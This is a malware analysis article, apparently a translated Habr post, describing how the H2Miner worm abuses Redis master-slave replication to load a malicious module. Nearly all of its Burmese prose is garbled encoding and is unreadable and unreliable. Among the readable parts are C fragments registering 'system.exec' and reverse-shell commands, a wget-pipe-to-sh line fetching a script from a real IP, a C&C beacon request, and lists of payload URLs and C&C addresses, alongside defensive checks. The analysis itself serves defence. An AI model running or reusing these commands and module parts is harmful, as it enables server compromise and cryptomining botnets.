áá˝ááşáá˛áˇááąáŹáá áşáááşáá ááťá˝ááşáŻááşááááąáŹááťááşáááŹááŹááťáŹá¸áá˛áážáá áşááŻáááş áĄááŹá¸áá° worm áážáááŻááşáááŻááşááśáá˛áˇááááşá "ááŤáááŹáá˛" áááŻáá˛áˇááąá¸áá˝ááşá¸áá˛áˇáĄááźáąáááŻáážáŹáá˝áąááŤá Alibaba Cloud Security áĄáá˝á˛áˇááž ááąáŹááşá¸áá˝ááşááąáŹ ááąáŹááşá¸ááŤá¸áá áşááŻááşááᯠááťá˝ááşáŻááşáá˝áąáˇáážááá˛áˇáááşá Habre áá˝ááş á¤ááąáŹááşá¸ááŤá¸ááᯠáážáŹááá˝áąáˇááąáŹááźáąáŹááˇáşá áááˇáşáĄáá˝ááş áĄáá°á¸áááźááˇáş áááşá¸ááᯠááŹááŹááźááşáááş ááŻáśá¸ááźááşáá˛áˇáááş <3
entry áááŻ
áááźáŹááąá¸ááŽá Alibaba Cloud á ááŻáśááźáŻáśááąá¸áĄáá˝á˛áˇáááş H2Miner ááŻááşááááşááźá áşáá˝áŹá¸áážáŻááᯠáá˝áąáˇáážááá˛áˇáááşá á¤áĄáášáááŹááşáážáááąáŹ worm áĄááťááŻá¸áĄá áŹá¸áááş Redis áĄáá˝ááş áááŹá¸áááşáá˝ááˇáşááźáŻááťááşááážáááźááşá¸ áááŻáˇáááŻááş áĄáŹá¸áááşá¸ááąáŹá ááŹá¸áážááşááťáŹá¸ááᯠáááˇáşá áá áşááťáŹá¸áááŻáˇáááşááąáŤááşááťáŹá¸áĄááźá áş áĄááŻáśá¸ááźáŻááźáŽá¸á áááŻáˇááąáŹááşáá˝ááş áááşá¸áááş áááşá¸ááááŻááşáááŻááşáĄáášáááŹááşáážáááąáŹ module áááŻááťá˝ááşáážááˇáş master-slave synchronization áážááááˇáşááťá˝ááşáážááˇáşáááşáá°ááźáŻááźáŽá¸ ááąáŹááşááŻáśá¸áá˝ááş á¤áĄáášáááŹááşáážáááąáŹ module áááŻáááŻááşáááŻááşááśáááąáŹá ááşáááŻáˇááąáŤááşá¸ááŻááşááŻááşáᏠáĄáášáááŹááşáážáááąáŹááŻááşááąáŹááşáážáŻáááŻááŻááşááąáŹááşáááşá áá˝ážááşááźáŹá¸ááťááşááťáŹá¸á
ááááşáá áááşáá áá áşááťáŹá¸ááąáŤáşáá˝ááş áááŻááşáááŻááşáá°ááťáŹá¸áááş Redis áááŻáˇáááşááąáŹááşááźáŽá¸ááąáŹááş áááˇáşá ááşáááŻáˇ á áŹááąá¸ááŹá¸ááąáŹ áĄááŻááşááťáŹá¸ áááŻáˇáááŻááş SSH ááąáŹáˇááťáŹá¸ááŤáááşáááˇáşáááşá¸áááşá¸ááᯠáĄááŻáśá¸ááźáŻááźáŽá¸ áĄááááĄáŹá¸ááźááˇáş ááŻááşááąáŹááşáá˛áˇááźáááşá ááśááąáŹááşá¸ááąáŹááşáá á˝áŹá áá˝ááˇáşááźáŻááťááşááááşá¸ááťáŻááşáážáŻááźáżááŹááťáŹá¸ áááŻáˇáááŻááş ááá°ááŽááąáŹá áá áşááŹá¸áážááşá¸ááťáŹá¸ááźáąáŹááˇáş á¤áááşá¸áááşá¸ááᯠáááźáŹáááĄááŻáśá¸ááźáŻáááááŤá áááŻáˇááąáŹáşá áĄáášáááŹááşáážáááąáŹ module áá áşááŻáĄáŹá¸áááşááźááşá¸áá¤áááşá¸áááşá¸áááş áááŻááşáááŻááşáá°ááĄááááˇáşááťáŹá¸ááᯠáááŻááşáááŻááşááŻááşááąáŹááşáááŻááşáááş áááŻáˇáááŻááş áááˇáşá áá áşáĄáá˝ááş áĄáášáááŹááşáážáááąáŹ shell áááŻáˇáááşááąáŹááşáá˝ááˇáşááážááááŻááşáááşá
áĄááąáĄáá˝ááşááťáŹá¸ááźáŹá¸áážáŻááźáąáŹááˇáş ááŹááŹááťáŹá¸ Redis instance á áááşá¸ááŽá¸ááŤá¸ááᯠáĄá˝ááşáááŻááşá¸áá˝ááş host ááŻááşááŹá¸ááąáŹááźáąáŹááˇáş Alibaba Cloud á ááŻáśááźáŻáśááąá¸áĄáá˝á˛áˇáááş áááşáááşáááşá¸áážáŽá¸ááąáŹ áááááąá¸ááťááşáá áşááŻáĄááąááźááˇáş áĄááŻáśá¸ááźáŻáá°ááťáŹá¸áááş Redis ááᯠáá˝ááşáááşááž áááşááąáŹááşáá˝ááˇáşáááąá¸áááşáážááˇáş áááşá¸áááŻáˇá á ááŹá¸áážááşááťáŹá¸á áááŻááşááŹáážáŻáážááˇáş brute force ááᯠááśáááŻááşáááşáážááážáŻáážáááážáááᯠááŻáśáážááşá á áşááąá¸áááş áĄááźáśááźáŻááŹá¸áááşá
H2Miner
H2Miner áááş áĄáąáŹááşááŤáááŻáˇááᯠáĄááźáąááśáááˇáş á
áá
áşááťáŹá¸áĄáá˝ááş mining botnet áá
áşááŻááźá
áşáááşá Linuxáááşá¸áááş áá˝ááˇáşááźáŻááťááşááážááᲠHadoop yarná Docker áážááˇáş Redis remote command execution (RCE) áĄáŹá¸áááşá¸ááťááşáĄááŤáĄáááş áááşá¸áááşá¸áĄááťááŻá¸ááťááŻá¸ááźááˇáş áááˇáşá
áá
áşááᯠáááŻá¸ááąáŹááşáááşááąáŹááşáááŻááşáááşá botnet áááş áááˇáşááąááŹááᯠáá°á¸ááąáŹáşáááş áĄáášáááŹááşáážáááąáŹ script ááťáŹá¸áážááˇáş malware ááťáŹá¸ááᯠááąáŤááşá¸ááŻááşááŻááşááźááşá¸á áááŻááşáááŻááşáážáŻááᯠááąá¸áááŻááşááťá˛áˇáá˝ááşááźááşá¸áážááˇáş command-and-control (C&C) áááşáá˝ááşáážáŻááťáŹá¸ááᯠááááşá¸ááááşá¸ááźááşá¸ááźááˇáş ááŻááşááąáŹááşáááşá
Redis RCE
á¤áĄááźáąáŹááşá¸áĄááŹáážááˇáşáááşáááşáááˇáş áĄáááááŹááᯠZeroNights 2018 áá˝ááş Pavel Toporkov ááž ááťážááąáá˛áˇááŤáááşá ááŹá¸áážááşá¸ 4.0 ááźáŽá¸ááąáŹááşá Redis áááş áĄááŻáśá¸ááźáŻáá°ááťáŹá¸áĄáŹá¸ ááŽá¸ááźáŹá¸ Redis áĄááááˇáşááąá¸ááťááşááťáŹá¸ááᯠááŻááşááąáŹááşáááşáĄáá˝ááş C áážááˇáş á áŻá ááşá¸ááŹá¸ááąáŹ áááŻááşááťáŹá¸ááᯠRedis áááŻáˇ áá˝ááşá¸áááŻááşá áąáááˇáş plug-in loading áĄááşášááŤáááşááᯠááśáˇáááŻá¸ááąá¸ááŤáááşá á¤ááŻááşááąáŹááşááťááşáááş áĄááŻáśá¸áááşááąáŹáşáááşá¸á master-slave ááŻááşáá˝ááş áááŻááşááťáŹá¸ááᯠfullresync ááŻááşáážáá áşáááˇáş slave áážááˇáş áááşáá°ááźáŻáááŻááşáááˇáş áĄáŹá¸áááşá¸ááťááşáá áşááŻááŤáážááááşá áĄáášáááŹááşáážáááąáŹ áááŻááşááťáŹá¸ááᯠáá˝ážá˛ááźáąáŹááşá¸áááş áááŻááşáááŻááşáá°ááž áááşá¸ááᯠáĄááŻáśá¸ááźáŻáááŻááşáááşá áá˝ážá˛ááźáąáŹááşá¸áážáŻááźáŽá¸áá˝áŹá¸ááąáŹáĄááŤá áááŻááşáááŻááşáá°ááťáŹá¸áááş áááŻááşáááŻááşááśáááąáŹ Redis instance áá˝ááş module ááᯠáááşáᏠáááşáááˇáş command áááŻáááᯠááŻááşááąáŹááşáááşá
Malware Worm áá˝á˛ááźááşá¸á áááşááźáŹááźááşá¸á
áááźáŹááąá¸ááŽá Alibaba Cloud ááŻáśááźáŻáśááąá¸áĄáá˝á˛áˇá H2Miner áĄáášáááŹááşáážáááąáŹ áááŻááşá¸áá˝ááşá¸áĄáŻááşá áŻá áĄáá˝ááşáĄá áŹá¸áááş ááŻááşááááş ááááááŹáᏠáááŻá¸ááŹááźáąáŹááşá¸ áá˝áąáˇáážááá˛áˇáááşá áá˝á˛ááźááşá¸á áááşááźáŹáážáŻáĄá áááŻááşáááŻááşáážáŻááźá áşáá˝áŹá¸ááźááşá¸á ááąááŻááťááźá áşá ááşáážáŹ áĄáąáŹááşááŤáĄáááŻááşá¸ááźá áşáááşá

H2Miner áááş áĄááźááˇáşáĄááááŻááşáááŻááşáááşáĄáá˝ááş RCE Redis áááŻáĄááŻáśá¸ááźáŻáááşá áááŻááşáááŻááşáá°ááťáŹá¸áááş áĄáŹá¸áááşá¸ááąáŹ á
ááŹá¸áážááşááťáŹá¸ááźááˇáş áĄááŹáĄáá˝ááşáá˛áˇ Redis ááŹááŹááťáŹá¸ áááŻáˇáááŻááş ááŹááŹááťáŹá¸ááᯠáŚá¸á
á˝áŹ áááŻááşáááŻááşáááşá
ááźáŽá¸áááş áá°áááŻáˇ áĄááááˇáşááąá¸áááşá config set dbfilename red2.so áááŻááşáĄáááşáááŻááźáąáŹááşá¸áá˛áááşá áááşá¸ááąáŹááşá áááŻááşáááŻááşáá°ááťáŹá¸áááş áĄááááˇáşááᯠááŻááşááąáŹááşáááşá slaveof master-slave áá°á¸áá°áážáŻáááşááśáá°ááááşá
áŹááᯠáááşáážááşáááşá
áááŻááşáááŻááşááśáááąáŹ Redis á áśááá°ááŹáááş áááŻááşáááŻááşáá°áááŻááşáááŻááşáááˇáş áĄáášáááŹááşáážáááąáŹ Redis áážááˇáş master-slave ááťáááşáááşáážáŻáá áşááŻááᯠáááşááąáŹááşááąáŹáĄááŤá áááŻááşáááŻááşáá°áááş áááŻááşááťáŹá¸ááᯠsynchronize ááŻááşáááş fullresync command áááŻáĄááŻáśá¸ááźáŻá áá°á¸á ááşááŹá¸ááąáŹ module ááᯠááąá¸áááŻáˇáááşá áááŻáˇááąáŹááş red2.so áááŻááşááᯠáááŻááşáááŻááşááśáááąáŹ á ááşáááŻáˇ ááąáŤááşá¸ááŻááşááŻááşááŤáááşá áááŻáˇááąáŹááş áááŻááşáááŻááşáá°ááťáŹá¸ááẠᤠso áááŻááşááᯠáááşáááş ./red2.so loading module ááᯠáĄááŻáśá¸ááźáŻáááşá ááąáŹáşááťá°á¸áááş áááŻááşáááŻááşáá°ááśááž áá˝ážááşááźáŹá¸ááťááşááťáŹá¸ááᯠááŻááşááąáŹááşáááŻááşáááş áááŻáˇáááŻááş áááŻááşáááŻááşááśáááąáŹ á ááşáááŻáˇ áááşááąáŹááşáá˝ááˇáşááááş ááźáąáŹááşá¸ááźááşááťáááşáááşáážáŻ (backdoor) ááᯠá áááşáááŻááşáááşá
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
áá˛áˇáááŻáˇááąáŹ áĄáášáááŹááşáážáááąáŹ áĄááááˇáşááᯠáĄááąáŹááşáĄáááşááąáŹáşááźáŽá¸ááąáŹááş / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1áááŻááşáááŻááşáá°áááş áĄáááşáááŻááşáĄáááşááᯠááźááşáááşáááşáážááşááźáŽá¸ áá˛áá˝ááşá
ááťáŹá¸ááᯠáážááşá¸áááşá¸áááş á
áá
áş module ááᯠáá˝ážááˇáşáááşáááşááźá
áşáááşá áááŻáˇááąáŹáşá red2.so áááŻááşáááş áááŻááşáááŻááşááśáááąáŹá
ááşáá˝ááş ááťááşáážáááąáááşááźá
áşáááşá áĄááŻáśá¸ááźáŻáá°ááťáŹá¸áááş áááşá¸áááŻáˇá Redis áĽáááŹá áááŻááŤáá˝ááş ááśááááźá
áşáá˝ááşáááŻááşáá
áşáᯠáážáááąááźááşá¸ááᯠáĄáŹááŻáśá
ááŻááşáááş áĄááźáśááźáŻáĄááşááŤáááşá
áĄáááşá¸áĄááźá áşááťáŹá¸ááᯠáááŻá¸áá°áááş áĄáášáááŹááşáážáááąáŹ ááŻááşáááşá¸á ááşáĄááťááŻáˇááᯠáááşáá áşáááˇáşáĄááźááşá áááŻááşáááŻááşáá°áááş áĄáášáááŹááşáážáááąáŹ binary áááŻááşááťáŹá¸ááᯠááąáŤááşá¸ááŻááşááŻááşááźáŽá¸ ááŻááşááąáŹááşááźááşá¸ááźááˇáş áĄáášáááŹááşáážáááąáŹ script ááᯠáááŻááşááŹáá˛áˇáááşá . áááŻáááŻáááşáážáŹ host áá˝ááş kinsing ááŤáážáááąáŹ ááŻááşáááşá¸á ááşáĄáááş áááŻáˇáááŻááş áááşá¸áá˝ážááşáĄáááşáááş áááŻá ááşááᯠá¤áááŻááşá¸áááşá áşáááŻá¸ áá°á¸á ááşááśááŹá¸áááźáąáŹááşá¸ ááąáŹáşááźáááŻááşáááşá
ááźáąáŹááşá¸ááźááşáĄááşááťááşááŽááŹááááşááťáŹá¸áĄá malware áááş áĄáąáŹááşááŤááŻááşááąáŹááşááťááşááťáŹá¸ááᯠáĄááááĄáŹá¸ááźááˇáş ááŻááşááąáŹááşáááş-
- áááŻááşááťáŹá¸áááşááźááşá¸áážááˇáş áááşá¸áááŻáˇááᯠááŻááşááąáŹááşááźááşá¸
- ááášááŻáá˝ááşá¸
- C&C áááşáá˝ááşááąá¸ááᯠááááşá¸ááááşá¸ááźááşá¸áážááˇáş áááŻááşáááŻááşáá° áĄááááˇáşááąá¸ááťááşááťáŹá¸ááᯠááŻááşááąáŹááşááźááşá¸á

áááşáááźááŹáá˝ážááşá¸áááŻá¸áážáŻáááŻááťá˛áˇáá˝ááşáááş ááźááşáá
áááşáááşááźááşá¸áĄáá˝ááş Masscan áááŻááŻáśá¸ááŤá áááŻáˇáĄááźááşá C&C ááŹááŹá IP ááááşá
áŹááᯠááááŻááááşáá˝ááş hard-code ááŻááşááźáŽá¸ áááŻááşáááŻááşááśáááąáŹ host áááş HTTP ááąáŹááşá¸áááŻááťááşááťáŹá¸ááᯠáĄááŻáśá¸ááźáŻáᏠC&C áááşáá˝ááşáážáŻááŹááŹáážááˇáş áááşáá˝ááşáááşááźá
áşááźáŽá¸á HTTP ááąáŤááşá¸á
áŽá¸áá˝ááş ááŻááşááąáŹááş (áĄááąá¸áĄáá°ááśáááąáŹááŹááŹ) áĄááťááşáĄáááşááťáŹá¸ááᯠHTTP ááąáŤááşá¸á
áŽá¸áá˝ááş ááąáŹáşááŻááşááŹá¸áááşá

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
áĄááźáŹá¸áááŻááşáááŻááşááąá¸áááşá¸áááşá¸ááťáŹá¸

ááŽááąáŹááşáĄááŻáśá¸ááźáŻááąáŹ ááááşá áŹááťáŹá¸áážááˇáş áááˇáşááşááťáŹá¸
/ áĄááťááŻá¸áĄáá˝ááş
⢠142.44.191.122/t.sh
⢠185.92.74.42/h.sh
⢠142.44.191.122/spr.sh
⢠142.44.191.122/spre.sh
⢠195.3.146.118/unk.sh
s&c
⢠45.10.88.102
⢠91.215.169.111
⢠139.99.50.255
⢠46.243.253.167
⢠195.123.220.193
ááąáŹááşá áŽ
ááááŚá¸á
á˝áŹ Redis áááŻáĄááşááŹáááşáážáááşááąáŹááşááááááŻááşááŤá áááŻááşááŹááąáŹá
ááŹá¸áážááşááźááˇáşááŹáá˝ááşááŹá¸áááˇáşáááşá Redis directory áá˝ááş red2.so áááŻááşááážáááźáąáŹááşá¸áážááˇáş host áážá file/process name áá˝ááş "kinsing" ááážáááźáąáŹááşá¸áááŻáááşá¸ client ááťáŹá¸á á
á
áşááąá¸áááş áĄááąá¸ááźáŽá¸ááŤáááşá
source: www.habr.com
